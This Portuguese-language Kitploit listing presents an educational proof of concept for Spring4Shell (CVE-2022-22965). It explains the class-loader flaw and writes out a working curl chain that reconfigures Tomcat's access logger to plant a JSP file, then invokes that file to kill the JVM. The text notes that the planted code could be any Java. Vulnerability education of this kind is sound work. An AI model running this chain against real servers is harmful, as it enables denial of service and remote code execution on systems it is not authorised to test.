Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2022-22965 — Demonstração mínima de exploit Spring4Shell (CVE-2022-22965) visando Tomcat via manipulação de class-loader, com cadeia de ataque passo a passo baseada em curl para teste de penetração educacional. | Kitploit
Ferramentas/GitHubGitHub/mwojterski/cve-2022-22965
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubmwojterski/cve-2022-22965

cve-2022-22965

Demonstração mínima de exploit Spring4Shell (CVE-2022-22965) visando Tomcat via manipulação de class-loader, com cadeia de ataque passo a passo baseada em curl para teste de penetração educacional.

Ver Repositório
2há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Exemplo mínimo de CVE-2022-22965

No momento em que este texto foi escrito, a vinculação de parâmetros de requisição do spring-web (WebDataBinder), por padrão, permite acessar o método getClass() do objeto. Este é um detalhe de implementação interno específico da jvm (na minha opinião, não deveria ser exposto). Como tal, seus recursos podem mudar e ser ampliados com futuras versões da jvm. Isso se torna um fardo contínuo para os mantenedores, que tentam prever maneiras criativas pelas quais atores mal-intencionados possam aproveitar esse acesso poderoso de formas nefastas.

Neste CVE específico, o motivo foi um método Class::getModule() introduzido no Java 9. Ele abriu acesso sem proteção a um class-loader.

No exemplo abaixo, o atacante o utiliza para reconfigurar o logger de acesso do Tomcat. Normalmente, ele escreve informações curtas sobre cada requisição recebida pelo servidor em um arquivo de log. A propriedade pattern define quais informações são gravadas, directory define onde o arquivo de log deve ser colocado, prefix, fileDateFormat e definem como deve ser o nome do arquivo.

suffix

A requisição a seguir terá como alvo um endpoint POST da nossa aplicação vulnerável poc-0. Ela reconfigura o logger para gravar uma linha <%{e}iSystem.exit(0);%{e}i> para cada requisição tratada, em um arquivo f.jsp no diretório webapps/ROOT, onde %{e}i é um espaço reservado para o valor do cabeçalho e da requisição.

Este é um uso inesperado/criativo do logger, e o restante é um servidor de aplicação padrão JSP e Tomcat em ação.

root@kitploit:~
curl -v -H 'e:%' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=<%25%7be%7diSystem.exit(0);%25%7be%7di>' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=f' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
http://container-ip:8080/poc-0/

Após um momento, um arquivo f.jsp será criado, detectado pelo Tomcat, compilado e exposto para atender o tráfego. A requisição a seguir o invoca, o que executará um código System.exit(0); embutido e interromperá a jvm em que está sendo executado.

root@kitploit:~
curl -v http://container-ip:8080/f.jsp

Este é um exemplo de DoS, mas o System.exit(0); é um código Java normal, então o atacante pode fazer muito mais.

Baixar ferramenta